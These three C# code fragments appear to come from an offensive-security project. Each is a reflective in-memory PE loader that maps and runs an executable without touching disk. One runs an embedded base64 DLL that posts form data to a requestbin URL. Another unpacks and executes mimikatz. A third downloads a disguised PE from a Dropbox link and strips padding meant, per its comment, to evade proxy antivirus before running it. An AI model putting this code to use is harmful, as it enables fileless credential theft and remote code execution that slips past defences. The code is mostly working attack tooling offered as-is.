public static void Main() { //=================================================================== // Base64 encoding of a x64 executable //=================================================================== string peAsString = @" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEDAIapUoMAAAAAAAAAAOAAIiALATAAAAoAAAAGAAAAAAAAHikA AAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMooAABPAAAAAEAAAAgDAAAAAAAAAAAAAAAAAAAA AAAAAGAAAAwAAADMJwAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJAkAAAAgAAAACgAAAAIA AAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAAgDAAAAQAAAAAQAAAAMAAAAAAAAAAAAAAAAAABAAABA LnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAD+ KAAAAAAAAEgAAAACAAUA5CAAAOgGAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBwCGAAAAAQAAEQIoCwAACnMMAAAKcgEAAHAZjQEAABsl FnJDAABwck0AAHBzDQAACqQBAAAbJRdyVwAAcHJpAABwcw0AAAqkAQAAGyUYcnsAAHAoDgAACnMP AAAKChIAKBAAAAoLEgEoEQAACnMNAAAKpAEAABtzEgAACigTAAAKbxQAAAoMEgIoFQAACiYqAABC U0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADsAQAAI34AAFgCAADgAgAAI1N0cmlu Z3MAAAAAOAUAAIQAAAAjVVMAvAUAABAAAAAjR1VJRAAAAMwFAAAcAQAAI0Jsb2IAAAAAAAAAAgAA AUcUAggJAAAAAPoBMwAWAAABAAAAFwAAAAIAAAABAAAAFQAAAAoAAAABAAAAAwAAAAEAAAABAAAA AADUAQEAAAAAAAYAQQE/AgYAkwE/AgYAmwAaAg8AXwIAAAYAxgCxAQYAegHnAQYAIgHnAQYA3wDn AQYA/ADnAQYAYQHnAQYArwDnAQYAhQLgAQYAjALgAQYAGQA/AgYAfgD5AQYApQL5AQYAJwBNAAYA kgDgAQYANgDgAQYAsAL5AQYABABNAAYAEgBuAgYAxgL5AQAAAAA8AAAAAAABAAEAAQAQAAEAAAAx AAEAAQBQIAAAAACGGBQCBgABAAkAFAIBABEAFAIGABkAFAIKACkAFAIQADEAFAIQADkAFAIQAEEA FAIQAEkAFAIQAFEAFAIQAFkAFAIQAGEAFAIGAIEAFAIGAAwAFAIoAJEA0gIwAGkAFAI1AGkALQI7 AJkAywE/AKEAFAJDAIEAaABRABQACQJkABwAmwJ0AC4ACwCCAC4AEwCLAC4AGwCqAC4AIwCzAC4A KwDqAC4AMwD3AC4AOwAEAS4AQwARAS4ASwDqAC4AUwDqABUAIQBdAG0ABIAAAAEAAAAAAAAAAAAA AAAARQAAAAIAAAAAAAAAAAAAAHkAcgAAAAAAAAAAYTAASUVudW1lcmFibGVgMQBUYXNrYDEAVGFz a0F3YWl0ZXJgMQBLZXlWYWx1ZVBhaXJgMgBJbnQ2NAA8TW9kdWxlPgBHZXRNeUlQAFN5c3RlbS5D b2xsZWN0aW9ucy5HZW5lcmljAFBvc3RBc3luYwBuZXRzdGFuZGFyZABIdHRwUmVzcG9uc2VNZXNz YWdlAERhdGVUaW1lAERlYnVnZ2FibGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBU YXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3Nl bWJseUluZm9ybWF0aW9uYWxWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0 dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0 dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRy aWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUb1N0cmluZwBHZXRNeUlQLmRsbABTeXN0 ZW0AU3lzdGVtLlJlZmxlY3Rpb24AU3lzdGVtLk5ldC5IdHRwAEdldEF3YWl0ZXIALmN0b3IAU3lz dGVtLkRpYWdub3N0aWNzAFRvVW5peFRpbWVTZWNvbmRzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVy U2VydmljZXMARGVidWdnaW5nTW9kZXMAU3lzdGVtLlRocmVhZGluZy5UYXNrcwBPYmplY3QARGF0 ZVRpbWVPZmZzZXQAR2V0UmVzdWx0AEh0dHBDbGllbnQARm9ybVVybEVuY29kZWRDb250ZW50AEh0 dHBDb250ZW50AGdldF9VdGNOb3cAAAAAAEFoAHQAdABwADoALwAvAHIAZQBxAHUAZQBzAHQAYgBp AG4ALgBuAGUAdAAvAHIALwBxAHMAZAAyADIAcABxAHMAAAl1AHMAZQByAAAJYQBjAG0AZQAAEXAA YQBzAHMAdwBvAHIAZAAAEXAAQABzAHMAdwAwAHIAZAAABXQAcwAAAAAAJRp0sk3N5kahO1K/n2h1 twAEIAEBCAMgAAEFIAEBEREEIAEBDgsHAxE1ChUROQESPQYVEUUCDg4HIAIBEwATAQQAABFJBSAB ARFJAyAACgMgAA4NIAEBFRJVARURRQIODgsgAhUSWQESPQ4SXQYVElkBEj0IIAAVETkBEwAGFRE5 ARI9BCAAEwAIzHsT/80t3VEIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MB CAEAAgAAAAAANgEAGS5ORVRTdGFuZGFyZCxWZXJzaW9uPXYyLjABAFQOFEZyYW1ld29ya0Rpc3Bs YXlOYW1lAAwBAAdHZXRNeUlQAAAMAQAHUmVsZWFzZQAADAEABzEuMC4wLjAAAAoBAAUxLjAuMAAA AAAAANvw+b0AAU1QAgAAAIMAAAAgKAAAIAoAAAAAAAAAAAAAAQAAABMAAAAnAAAAoygAAKMKAAAA AAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAUlNEUxuV1TjM/HpMqkjo8bLFYrMBAAAAL2hvbWUv YWhtZWQvd29ya3NwYWNlL2xlYXJuaW5nL2RvdG5ldC1keW5hbWljLWFzc2VtYmx5LWxvYWQvR2V0 TXlJUC9vYmovUmVsZWFzZS9uZXRzdGFuZGFyZDIuMC9HZXRNeUlQLnBkYgBTSEEyNTYAG5XVOMz8 ejyqSOjxssVis9vw+b11NLTAXv/+WrcmnpryKAAAAAAAAAAAAAAMKQAAACAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA/igAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAAAAD/JQAg ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAAB AAAAAABIAAAAWEAAAKwCAAAAAAAAAAAAAKwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4A RgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAA AAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQA aQBvAG4AAAAAAAAAsAQMAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADoAQAAAQAw ADAAMAAwADAANABiADAAAAAwAAgAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAEcAZQB0AE0A eQBJAFAAAAA4AAgAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARwBlAHQATQB5 AEkAUAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAADgA DAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAARwBlAHQATQB5AEkAUAAuAGQAbABsAAAAKAAC AAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEAADAABAE8AcgBpAGcAaQBuAGEA bABGAGkAbABlAG4AYQBtAGUAAABHAGUAdABNAHkASQBQAC4AZABsAGwAAAAwAAgAAQBQAHIAbwBk AHUAYwB0AE4AYQBtAGUAAAAAAEcAZQB0AE0AeQBJAFAAAAAwAAYAAQBQAHIAbwBkAHUAYwB0AFYA ZQByAHMAaQBvAG4AAAAxAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBz AGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA IDkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA "; byte[] unpacked = System.Convert.FromBase64String(peAsString); PELoader pe = new PELoader(unpacked); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing loaded PE"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main
public TestClass() { WebClient getKatz = new WebClient(); byte[] unpacked = null; try { byte[] latestMimikatz = ExampleAssembly.Properties.Resources.mimikatz; Stream data = new MemoryStream(latestMimikatz); Stream unzippedEntryStream; ZipArchive archive = new ZipArchive(data); foreach (ZipArchiveEntry entry in archive.Entries) { if (entry.FullName == @"x64/mimikatz.exe") { Console.WriteLine(entry.FullName); unzippedEntryStream = entry.Open(); unpacked = ReadFully(unzippedEntryStream); } } } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } Console.WriteLine("Downloaded Latest"); PELoader pe = new PELoader(unpacked); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); for (int j = 0; j < 999; j++) { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } } Console.WriteLine("Executing Mimikatz"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); }
public static void Main() { WebClient downloadPEFile = new WebClient(); IWebProxy defaultProxy = WebRequest.DefaultWebProxy; if (defaultProxy != null) { defaultProxy.Credentials = CredentialCache.DefaultCredentials; downloadPEFile.Proxy = defaultProxy; } byte[] unpacked = null; try { // Download the hidden PE file from an innocent web site like DropBox byte[] tempArray = downloadPEFile.DownloadData(@"https://www.dropbox.com/s/0gfiwc1cwdrzlfl/mimiHidden?raw=1"); // Remove the first 65536 bytes of random garbage I've put before the real PE (avoids proxy AV) unpacked = new byte[tempArray.Length - 65536]; Buffer.BlockCopy(tempArray, 65536, unpacked, 0, unpacked.Length); } catch (Exception ex) { while (ex != null) { Console.WriteLine(ex.Message); ex = ex.InnerException; } } Console.WriteLine("Downloaded PE and decoded it."); PELoader pe = new PELoader(unpacked); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) { break; } } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = NativeDeclarations.LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") { break; } } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing PE"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); } //End Main
